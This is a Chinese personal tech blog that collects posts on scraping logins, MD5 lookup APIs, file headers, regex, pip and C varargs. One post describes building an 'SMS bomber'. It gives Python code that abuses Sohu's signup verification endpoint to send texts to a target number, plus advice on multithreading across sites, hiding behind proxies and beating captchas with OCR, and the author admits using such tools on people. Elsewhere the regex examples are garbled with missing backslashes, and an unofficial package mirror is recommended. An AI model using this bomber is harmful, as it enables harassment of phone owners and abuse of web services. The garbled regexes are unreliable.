Come world to Record life

今天在写模拟登陆的时候遇到了一点问题，一个是在post数据中有许多随机串，让人摸不着头脑；另一个问题是明明已经post了正确的数据，然而还是莫名其妙的无法登陆。倒腾了半天终于发现了这原来是很多网站为了防止一些攻击所进行的安全保护措施，分别是token 和 referer防护。

Token

Token实际上就是一个随机串，在含有input表单的页面内以一个‘hidden’表单实现。通常是以以下的形式：

1
2

<input type='hidden' name="sand" value="1449492667"/>
<input type='hidden' name="token" value="9e9f4a4fbab97b3e17c299768f55ee99"/>

这个信息会在post常规数据的时候被连带着post给服务器，服务器会判断token值是否合法来确定是否对我们提交的信息进行处理。因此我们如果要模拟登陆，就要连带这把这些信息post过去。

那么网站这么设计有什么用呢?（很明显不是用来防止模拟登陆的）

1)防止表单重复提交

服务器端第一次验证相同过后，会将session中的Token值更新下，若用户重复提交，第二次的验证判断将失败，因为用户提交的表单中的Token没变，但服务器端session中Token已经改变了。但是当多页面多请求时，必须采用多Token同时生成的方法，这样占用更多资源，执行效率会降低。因此，也可用cookie存储验证信息的方法来代替session Token。比如，应对“重复提交”时，当第一次提交后便把已经提交的信息写到cookie中，当第二次提交时，由于cookie已经有提交记录，因此第二次提交会失败。

2)anti csrf攻击（跨站点请求伪造）。

如果应用于“anti csrf攻击”，则服务器端会对Token值进行验证，判断是否和session中的Token值相等，若相等，则可以证明请求有效，不是伪造的。

Referer

首先referer其实应该拼成referrer，这是一个古老的问题了，不解释。

然后referer的作用其实非常的纯粹，就是告诉服务器这个链接是从哪个站点链接而来的。很多站点会偷偷进行http-referer检查，来保证链接的来源合法，一定程度上起到了安全上的作用(其实主要是为了防止CSRF攻击)。

示例

模拟登陆一个破解md5的网页，用正则获取token值，并且加入referer头进行登陆。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import urllib,urllib2,cookielib,json,re
from bs4 import BeautifulSoup
def md5Decode(cyphertext):
	path1='http://www.md5.com.cn/'
	path2='http://www.md5.com.cn/md5reverse'
	cj=cookielib.CookieJar()
	opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
	opener.addheaders=[('User-agent','Opera/9.23'),('Connection','keep-alive')]
	urllib2.install_opener(opener)
	html1=urllib2.urlopen(path1).read()
	sand=re.findall(r'(?<=name=\"sand\" value=\").*?(?=\"/>)',html1)[0]
	token=re.findall(r'(?<=name=\"token\" value=\").*?(?=\"/>)',html1)[0]
	post_data=urllib.urlencode({'md':cyphertext,'sand':sand,'token':token,'submit':'MD5 Crack'})	
	req=urllib2.Request(path2,post_data)
	opener.addheaders=[('Referer',path1),('Origin',path1)]
	urllib2.install_opener(opener)
	response=urllib2.urlopen(req)
	html=response.read()
	soup=BeautifulSoup(html,'lxml')
	print re.findall(r'(?<=Result:</label><span class=\"res green\">).*?(?=</span>)',html)[0]
md5Decode('cca9cc444e64c8116a30a00559c042b4')

简介

我们都知道，文件的扩展名是用来识别文件类型的。通过给他指定扩展名，我们可以告诉自己，也告诉操作系统我们想用什么方式打开这个文件。比如我么会把.jpg的文件默认用图片显示软件打开，.zip 文件会默认用解压软件打开等等。

然而，扩展名完全是可以随便改改的。我们可以给文件设置一个任意的扩展名，当然也可以不设置扩展名。这样一来我们就不能了解到这个文件究竟是做什么的，究竟是个什么样的文件。我们或许也会疑惑，为什么一个软件，比如视频播放器，就能用正确的方式打开.mp4 .rmvb .wmv 等等的视频？

事实上，所有的文件都是以二进制的形式进行存储的，本质上没有差别。之所以使用的方法不同，只是因为我们理解他的方式不同。在每一个文件（包括图片，视频或其他的非ASCII文件）的开头（十六进制表示）实际上都有一片区域来显示这个文件的实际用法，这就是文件头标志。

Linux下我们可以用file命令直接查看文件的实际格式，但是他本质上也是利用文件头标志来进行文件类型判断的。下面就简要介绍下手动判断文件真实类型的方法。

表格

有了这个表格，我们就可以通过检查文件的十六进制头来判断文件实际的类型了。

方法

windows下

我们可以通过ultraedit之类的文本编辑器检查文件的十六进制表示，很方便。

Linux下

我们有hexdump命令来查看文件的十六进制形式，用这种方法查看png文件的结果大概是这样的：

1
2
3
4
5
6

0000000 5089 474e 0a0d 0a1a 0000 0d00 4849 5244
0000010 0000 dc00 0000 3200 0608 0000 3700 b514
0000020 0073 0000 7009 5948 0073 0b00 0013 0b00
0000030 0113 9a00 189c 0000 4d0a 4369 5043 6850
0000040 746f 736f 6f68 2070 4349 2043 7270 666f
.......

然而，这个只能查看不能修改。而且实际上，这里显示的字节的顺序是跟机器有关的，在常见的x86和一般的OS（如windows，FreeBSD,Linux）使用的是小端模式，因此他的高低位是反着的，实际上如果按照日常的阅读习惯，他应该表示为：

1
2

0000000 8950 4e47 0d0a 1a0a 0000 000d 4948 4452
.......

不过如果是在MacOS那样默认大端序的机器里用hexdump据说就不会反了。

这样才是标准的png文件的头。

当然，我们有更方便强大的vim，用这个可以查看和修改文件的十六进制表示形式。我们用vim打开刚才的png文件，会的到以下的ascii表示形式：

1
2
3
4
5
6
7
8

<89>PNG^M                                                                   
^Z
^@^@^@^MIHDR^@^@^@Ü^@^@^@2^H^F^@^@^@7^Tµs^@^@^@ pHYs^@^@^K^S^@^@^K^S^A^@<9a>    <9c>^X^@^@
MiCCPPhotoshop ICC profile^@^@xÚ<9d>SwX<93>÷^V>ß÷e^OVBØð±<97>l<81>^@"#¬^HÈ^P    Y¢^P<92>^@a<84>^P^R@Å<85><88>
V^T^U^Q<9c>HUÄ<82>Õ
H<9d><88>â (¸gA<8a><88>Z<8b>U\8î^_ܧµ}zïííû×û¼ç<9c>çüÎyÏ^O<80>^Q^R&<91>æ¢j^@    9R<85><:Ø^_<8f>OHÄɽ<80>^B^UHà^D ^PæËÂg^EÅ^@^@ð^Cyx~t°?ü^A¯o^@^B^@pÕ.$^RÇáÿ<    83>ºP&W^@ <91>^@à"^Rç^K^A<90>R^@È.TÈ^T^@È^X^@°S³d
^@<94>^@^@ly|B"^@ª^M^@ìôI>^E^@Ø©<93>Ü^W^@Ø¢^\©^H^@<8d>^A^@<99>(G$^B@»^@`U<81    >R,^BÀÂ^@ ¬@".^DÀ®^A<80>Y¶2G^B<80>½^E^@v<8e>X<90>^O@`^@<80><99>B,Ì^@ 8^B^@C^    ^^SÍ^C L^C 0Ò¿à©_p<85>¸H^A^@ÀË<95>Í<97>KÒ3^T¸<95>Ð^Zwòðàâ!âÂl±Ba^W)^Pf  ä"<9
..........

接下来我们需要在命令模式下输入  :%!xxd   这样会得到以下的样子：

1
2
3
4
5
6
7
8
9

0000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR   
0000010: 0000 00dc 0000 0032 0806 0000 0037 14b5  .......2.....7..
0000020: 7300 0000 0970 4859 7300 000b 1300 000b  s....pHYs.......
0000030: 1301 009a 9c18 0000 0a4d 6943 4350 5068  .........MiCCPPh
0000040: 6f74 6f73 686f 7020 4943 4320 7072 6f66  otoshop ICC prof
0000050: 696c 6500 0078 da9d 5377 5893 f716 3edf  ile..x..SwX...>.
0000060: f765 0f56 42d8 f0b1 976c 8100 2223 ac08  .e.VB....l.."#..
0000070: c810 59a2 1092 0061 8410 1240 c585 880a  ..Y....a...@....
.......

这就对了，而且高低位的位置与一般的表示一致。

当我们需要调回ascii模式的时候，我们只要输入 :%!xxd -r 就可以回到之前的模式了。

这里要注意的是，在十六进制里我们可以通过编辑十六进制码来修改值，但是不要修改后面对应的ascii码和前面的地址，而且模式转换过去后一定要记得转换回来。

MD5（Message-Digest Algorithm 5）算法是一种非常常见的信息摘要hash算法，一般可以用来进行数字签名，或者理解成为一种压缩算法。他的本质是一种分组加密算法。百度上对MD5算法简要的叙述为：MD5以512位分组来处理输入的信息，且每一分组又被划分为16个32位子分组，经过了一系列的处理后，算法的输出由四个32位分组组成，将这四个32位分组级联后将生成一个128位散列值。用十六进制表示的话，每四位变成一个十六进制数，这样也就是生成了总共为32位的十六进制数，即MD5码。

这里不介绍MD5的加密和解密算法的细节。从应用的角度讲，我们完全暂且不需要理解算法的过程。我们可以直接利用现有的工具进行加密——-还有解密！事实上，MD5算法从他1991年由MIT发明以来，一直都在经受着解密高手们的攻击，这样，终于在2004年，由我们中国山东大学的王小云教授成功研究出了高效的寻找碰撞的算法（本质上就是一种高效的暴力破解，而且目前这种破解算法已经随处可见了）。

作为应用而言，比如解决IDF实验室的第一题，我们只需要一个能够为我们调用的加密解密的接口来方便我们编程。找了半天我终于找到了一个比较不错的免费的API:http://tool.zzblo.com/，只需要简单的http请求就可以调用。

加密请求

1
2
3
4
5
6
7
8
9
10
11

import urllib,urllib2,cookielib
path='http://tool.zzblo.com/Api/Md5/encrypt'
plaintext='12345678'
cj=cookielib.CookieJar()
post_data=urllib.urlencode({'text':plaintext})
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders=[('User-agent','Opera/9.23')]
urllib2.install_opener(opener)
req=urllib2.Request(path,post_data)
response=urllib2.urlopen(req)
print response.read()

respose:

1

{"status":200,"text":"12345678","secret32":"25d55ad283aa400af464c76d713c07ad","secret16":"83aa400af464c76d"}

这里就看到了明文密文的对应关系。

解密请求

1
2
3
4
5
6
7
8
9
10
11

import urllib,urllib2,cookielib
path='http://tool.zzblo.com/Api/Md5/decrypt'
cyphertext='25f9e794323b453885f5181f1b624d0b'
cj=cookielib.CookieJar()
post_data=urllib.urlencode({'secret':cypthertext})
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders=[('User-agent','Opera/9.23')]
urllib2.install_opener(opener)
req=urllib2.Request(path,post_data)
response=urllib2.urlopen(req)
print response.read()

response：

1

{"status":200,"text":"123456789","secret32":"25f9e794323b453885f5181f1b624d0b","secret16":"323b453885f5181f"}

与上述结果一致。

当然这个API只能解决简单的MD5，对于一些复杂的还是要通过别的办法解决。

很多情况下，我们会遇到一些讨厌的人，特别是那种电信诈骗的骗子，行骗方法歹毒低劣，十分令人恶心。然而我们又不能拿他们怎么办。这时候我们就会想起用电话轰炸机这个东西来打击报复。网络上也有过类似的比如“短信轰炸机”这种东西，我也用他来黑过一些人。据他们后来说他们收到的都是些注册会员啊，登陆啊之类的短信提示，十分的烦人。当时听上去就觉得这个东西真的很厉害。最近一个偶然的机会，我发现其实短信轰炸机这种东西原理也是十分的简单的，只要拥有一些基础的网页登陆的知识，理论上就可以实现写出自己的“短信轰炸机”。

原理

在我们注册一家网站的会员的时候，很多情况下我们需要输入我们的手机号来进行识别和绑定。通常的步骤是：(1)我们输入手机号;(2)系统会向我们的手机发送一条验证码;(3)我们将手机上收到的验证码输入到注册页面上来完成识别。明眼人一看大概就能看出其中的端倪。没错，我们就可以利用网站发送的验证短信，来作为我们的”轰炸引擎“。

基本步骤

步骤就是模拟登陆的步骤了，首先我们手动实现一次验证，并且用抓包工具截获他的http封包，获得post的数据，然后利用现有的编程工具，模拟请求即可。

python简单实现

我模拟的是搜狐的注册申请，仅实现一次发送。

1
2
3
4
5
6
7
8
9
10
11

import urllib,urllib2,cookielib
path='https://passport.sohu.com/signup/send_mobile_captcha'
number="18282828282"
cj=cookielib.CookieJar()
post_data=urllib.urlencode({'mobile':number,'captchaType':'1'})
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders=[('User-agent','Opera/9.23')]
urllib2.install_opener(opener)
req=urllib2.Request(path,post_data)
response=urllib2.urlopen(req)
print response.read()

其中的post的数据是根据抓包抓来的数据来填写的，其他的就是简单的模拟登陆的东西。

note

1. 实际应用中，需要使用多线程的技术申请多个网站来保证轰炸的密度。
2. 申请的频率不能太快，因为服务器端会有记录，申请太快会被拒绝服务的。
3. 通常会使用proxy代理http服务来隐藏自身信息。
4. 为了防止被利用，绝大多数的网站都会在申请时设置验证码环节来抵御我们这种恶意的申请。所以通常还需要结合OCR技术来识别验证码。

上一节记录了主要的一些元字符集，算是刚刚入了门。这一节主要介绍一些稍微需要动脑筋的东西。

分组捕获与后向引用

分组实际上就是个对括号，用处就是将一个匹配串当成一个整体来看，用于改变匹配的优先级。比如我们要匹配“abcabcabcabc”，就可以这样匹配：(abc){4} 。

在分组的基础上，我们就可以进行后向引用。所谓后向引用，就是将之前匹配到的字符串记录下来，供后来继续用，提高表达式的效率。

具体用法是，系统会给表达式中所有的分组标上序号，从1开始。接下来每当希望用到之前分组的内容时，只需要调用”i” 其中i就是分组对应的序号。

比如(abc)1$12$13$14 就可以匹配“abc1abc2abc3abc4”了。

注：目测这样写的话，组数不能超过9，毕竟“”这个东西只能作用于一个字符。

零宽断言

这个是用来匹配一个位置而不是一个字符串的比如 ( $ 和 ^ ) ，所以叫零宽。他规定了当前的位置需要满足某些条件，或者不能够满足某些条件。也是非常有用处的一个东西。

1、(?=exp)        零宽度正预测先行断言

它断言自身出现的位置的后面能匹配表达式exp。比如bw+(?=ingb)，匹配以ing结尾的单词的前面部分(除了ing以外的部分)，如查找I’m singing while you’re dancing.时，它会匹配sing和danc。

2、(?<=exp)     零宽度正回顾后发断言

它断言自身出现的位置的前面能匹配表达式exp。比如(?<=bre)w+b 会匹配以re开头的单词的后半部分(除了re以外的部分)，例如在查找reading a book时，它匹配ading。

3、(?!exp)     零宽度负预测先行断言

它断言此位置的后面不能匹配表达式exp。例如：d{3}(?!d) 匹配三位数字，而且这三位数字的后面不能是数字；b((?!abc)w)+b 匹配不包含连续字符串abc的单词。
4、(?<!exp)    零宽度负回顾后发断言

它断言此位置的前面不能匹配表达式exp：(?<![a-z])d{7} 匹配前面不是小写字母的七位数字。

注释

由于正则一向比较精炼，所以注释还是很有必要的。

我们可以用语法(?#comment)来包含注释。例如：2[0-4]d(?#200-249)|25[0-5](?#250-255)|[01]?dd?(?#0-199) 。

贪婪与懒惰

当正则表达式中包含能接受重复的限定符时，通常的行为是在满足匹配关系的情况下匹配尽可能多的字符。这被称为贪婪匹配，也是默认的匹配方式。

然而有时，我们更需要懒惰匹配，也就是匹配尽可能少的字符。前面给出的限定符都可以被转化为懒惰匹配模式，只要在它后面加上一个问号’?’。这样.*?就意味着匹配任意数量的重复，但是在能使整个匹配成功的前提下使用最少的重复。现在看看懒惰版的例子吧：

a.*?b匹配最短的，以a开始，以b结束的字符串。如果把它应用于aabab的话，它会匹配aab（第一到第三个字符）和ab（第四到第五个字符）。

当然正则表达式在不同的平台上还有其他不同的功能，比如会有一些选项来优化匹配方式，或者是平衡组、递归匹配这些复杂的东西。这些遇到了再行了解。

正则表达式这东西真的特别常用，在搜索文本啊，写爬虫什么的都得用到。而且现如今各种语言，都会支持正则表达式。之前也零零碎碎的看过，但是很多细节都记不清，这里姑且把一些知识要点记录下来，供日后查找使用。

通用的正则表达式

由于正则表达式有很多种实现方式，所以各种方式之间有一些区别。但是以下的一些条件，则是在任何语言的正则中都适用的规律：

这里是正则最基础的用法了，熟记这张表，平时就够用了。

当然，我们平时也会看到其他一些符号，比如下面这些类似的符号。

其他元字符

这些元字符也非常普遍，我之所以将他跟上面的通用字符分开，是因为这种类似Perl风格的正则表达式并不能被所有的工具识别。比如Linux下的egrep就无法识别这种表示方法。这就引入了下面的POSIX字符类。

POSIX字符类

在使用的时候记得还要在外面包一层[  ]。比如匹配四个字母，可以写成 [[:alpha:]]{4}

这里之所以提到POSIX字符类，是因为在shell中无法使用d w 这类的元字符，只能使用POSIX字符类。

以上就是正则最基础的用法了。掌握这些就可以解决绝大多数的问题了。

beautiful soup库是python中用来解析html文件的一个工具，他能做到将html文件依据他的标签的特征来取出相应的标签块，比如取出网页的title啊，body啊，或者是某个id对应的东西啊，等等。从而为进一步的加工处理创造条件。从某种程度上讲是替代了正则的作用，但是比正则表达式使用的更加方便。

现在的beautiful soup库已经是第4.2版本了，所以我们通常叫他bs4。bs4作为一个库，其实是有很多的用法的。至于其具体用法，我是参考以下的文档的：

http://www.crummy.com/software/BeautifulSoup/bs4/doc.zh/

这里讲的比较详细，查阅起来也很方便。至于安装，我一般是用来pip进行的，这个比较方便快捷，也便于管理。

这里权且记录下一些基本的用法：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101

html_doc = """
<html><head><title>The Dormouse's story</title></head>
<body>
<p class="title"><b>The Dormouse's story</b></p>

<p class="story">Once upon a time there were three little sisters; and their names were
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
and they lived at the bottom of a well.</p>

<p class="story">...</p>
"""
from bs4 import BeautifulSoup  #导入模块

soup = BeautifulSoup(html_doc，“lxml”)  #生成对象soup(这里不加第二个参数有时候会报warning)

print soup.prettify()    #prettify()方法将源码格式化并返回
# <html>
#  <head>
#   <title>
#    The Dormouse's story
#   </title>
#  </head>
#  <body>
#   <p class="title">
#    <b>
#     The Dormouse's story
#    </b>
#   </p>
#   <p class="story">
#    Once upon a time there were three little sisters; and their names were
#    <a class="sister" href="http://example.com/elsie" id="link1">
#     Elsie
#    </a>
#    ,
#    <a class="sister" href="http://example.com/lacie" id="link2">
#     Lacie
#    </a>
#    and
#    <a class="sister" href="http://example.com/tillie" id="link2">
#     Tillie
#    </a>
#    ; and they lived at the bottom of a well.
#   </p>
#   <p class="story">
#    ...
#   </p>
#  </body>
# </html>

#以下的方法都很浅显易懂
print soup.title    
# <title>The Dormouse's story</title>

print soup.title.name
# u'title'

print soup.title.string
# u'The Dormouse's story'

print soup.title.parent.name
# u'head'

print soup.p
# <p class="title"><b>The Dormouse's story</b></p>

print soup.p['class']
# u'title'

print soup.a
# <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>

print soup.find_all('a')
# [<a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>,
#  <a class="sister" href="http://example.com/lacie" id="link2">Lacie</a>,
#  <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>]

print soup.find(id="link3")
# <a class="sister" href="http://example.com/tillie" id="link3">Tillie</a>

for link in soup.find_all('a'):
    print(link.get('href'))

# http://example.com/elsie
# http://example.com/lacie
# http://example.com/tillie

print soup.get_text()
# The Dormouse's story
#
# The Dormouse's story
#
# Once upon a time there were three little sisters; and their names were
# Elsie,
# Lacie and
# Tillie;
# and they lived at the bottom of a well.
#
# ...

在写python的时候，经常会用到一些扩展包，作为python新手，经常又不知道去哪里找这些包。而且就算是找到了，下载下来之后还需要进行繁琐的安装、配置等操作。有时候为了进行这些安装还要去安装能够安装这些程序的程序，比如setuptools等。而安装这些东西有可能还会有很多奇奇怪怪的问题，这样严重影响了编程的体验。还好，python有几个类似ubuntu中apt-get一样的东西，相当于一个包管理器，能够十分便捷的帮我们安装到自己需要的模块，这就是pip和easy_install。

pip

安装

1

root@iZ28ntr2ej5Z:~# apt-get install python-pip

使用

比如想安装beautifulsoup包可以这样。

1

root@iZ28ntr2ej5Z:~# pip install beautifulsoup

这样基本就能将包安装好了。当然这里很多情况下是会报一些错的（比如包的名称不对），这些错通常都会输出到他的log文件中去，所有的问题都会在log中找到答案。

其实所有模块的安装方法都能在该模块的帮助文档中找到。比如beautifulsoup包也可以用apt-get来安装，但是作为一个更加专业的python软件，pip显然在python包的安装上更加有优势。而且，pip不仅可以下载，而且可以列举，更新和卸载包，使用的范围更加的广泛。

以下是一些常用参数：

更新

-U 或者 –upgrade

1

pip install -U SomePackage

可以用来更新其他模块，也可以更新pip自己。

查看更新

1

pip list --outdated

卸载

1

pip uninstall SomePackage

更新源

有时候经常会遇到他默认的下载点无法链接的情况，这就时候需要指定下载源了。

手动指定：

在pip后面跟-i 来指定源，比如用豆瓣的源来安装web.py框架：

pip install web.py -i http://pypi.douban.com/simple

自动指定：

修改~/.pip/pip.conf 文件的内容，类似与如下格式：

1
2

[global]
 index-url = http://pypi.douban.com/simple/

最后再更新下pip就行了。

！！！最新发现，更可靠的源：http://pypi.zenlogic.net/simple/

easy_install

在实际中经常发现pip并不好用，因为牵涉到什么ssl的错误，经常会报一些奇奇怪怪的错。相比之下easy_install的表现就稳定许多了。

安装

1

root@iZ28ntr2ej5Z:~# apt-get install python-setuptools

没错，在setuptools里就有easy_install了。

使用

与pip的用法基本相同，只要把pip换成easy_install即可。包括指定源的方法，都一样。

2017年1月27日：

最近发现pip在使用自定义的源的时候需要添加–trusted-host参数才能从指定源下载，否则就会提示你需要安装的包找不到。其实这时候只要把在配置文件里写入的pypi源的url改成https即可。

在玩Processing的时候，经常需要将大量的png文件作为帧，处理到gif图中。而他自带的插件似乎并没有用，所以就想在网上找个。网上当然有很多这种类型的工具啦，但是基本上都是像gimp这样的类Photoshop软件，虽然功能强大，但是为了这点小事还下一个这么大的软件，而且还不能用命令行。这显然不是Linux的精神。找了半天，终于找到了非常方便就能生成gif的小命令–imagemagick，用法简单而且还可以压缩，可以说是非常好用。

下载

myths@myths-X450LD:~$ sudo apt-get install imagemagick

简单易懂不罗嗦。

使用

１、生成
myths@myths-X450LD:~$ convert *.jpg out.gif
将当前文件夹下的*.jpg　压缩到out.gif，简单明了。

２、压缩
myths@myths-X450LD:~$ convert out.gif -fuzz 10% -layers Optimize optimized.gif
这里用了-fuzz 参数，用man查看帮助文档可以看到这一句：
-fuzz distance ：　colors within this distance are considered equal
就是模糊化处理的意思，一般距离参数选的是10%。

然后是-layers Optimize 表示优化的意思。

一般这样压缩gif效果非常明显通常能压缩到3%左右～～

.在开始学习C语言的函数的时候，我们就知道函数的参数个数应该是在函数声明的时候就指定的，这一点我们没有任何疑问。但是不知道大家有没有注意到我们的printf()函数，他的函数参数理论上并不是确定的，而是随着匹配字符串中的格式控制符的个数控制的。其实当时也没有注意到这一点，到是最近，偶然间看到了《嗨翻C语言》这本书，这里就详细讲解了这种可变参数函数的实现原理，今天考试间隙就顺带学习了一下，其实就是一种方法，知道了就晓得了，也是非常的简单。

头文件

这个用法需要引用一些宏，这些宏定义在C标准库“stdarg.h”中，(当然C++中就是“cstdarg”了)。

函数声明

1
2
3

int fun(int arg1,int arg2, ...){
//foo
}

这里可以用普通传参方法传入几个固定参数，一般情况下会有个表示可变参数的个数(否则函数也不晓得你到底传给了他啥)，最后表示可变参数部分的是三个连续的点，注意中间不能有空格。我们传入的可变参数就是在这里的。

具体用法

这里主要涉及到va_list类型，va_start()、va_arg()、va_end()这几个函数。

va_list 可以理解为以链表的形式保存那些可变参数的一个数据类型（既然是链表，当然是可变的了）。

void va_start(va_list ap , int len); 接受两个参数，一个是上面的那个东西，还有一个表示数据的数目。目测可以理解为是自动收集传给本函数的可变参数，并连带他的数目，将信息赋给 va_list 。

type va_arg(va_list ap , type ); 接受两个参数，一个是va_list，另一个是保存的数据的类型。因为在调用参数的时候，编译器不会检查实际输入的是什么参数，所以需要适时的指定，并以那个类型返回。注意，这时候在va_list中的某个指针会指向下一个元素，所以下一次调用时输出的值就是下一个元素。在这一点上用法类似于iterator。

void va_end(va_list ap);最后清理这个va_list.

演示源码

1
2
3
4
5
6
7
8
9
10
11
12
13

#include<stdarg.h>
#include<stdio.h>
void print(int arg,...){
	va_list ap;
	va_start(ap, arg);
	for (int i = 0; i < arg; i++){
		printf("%d ", va_arg(ap,int));
	}
	va_end(ap);
}
int main(){
	print(4, 1, 2, 3, 4);
}

结果自然是输出 1 2 3 4。

说明

虽然看上去效果很酷，但是实际上据说这种用法的确很不安全，容易造成运行错误，所以还是尽量要少用。这种类似的问题如果能用重载或者类来解决的话还是少用可变参数函数吧。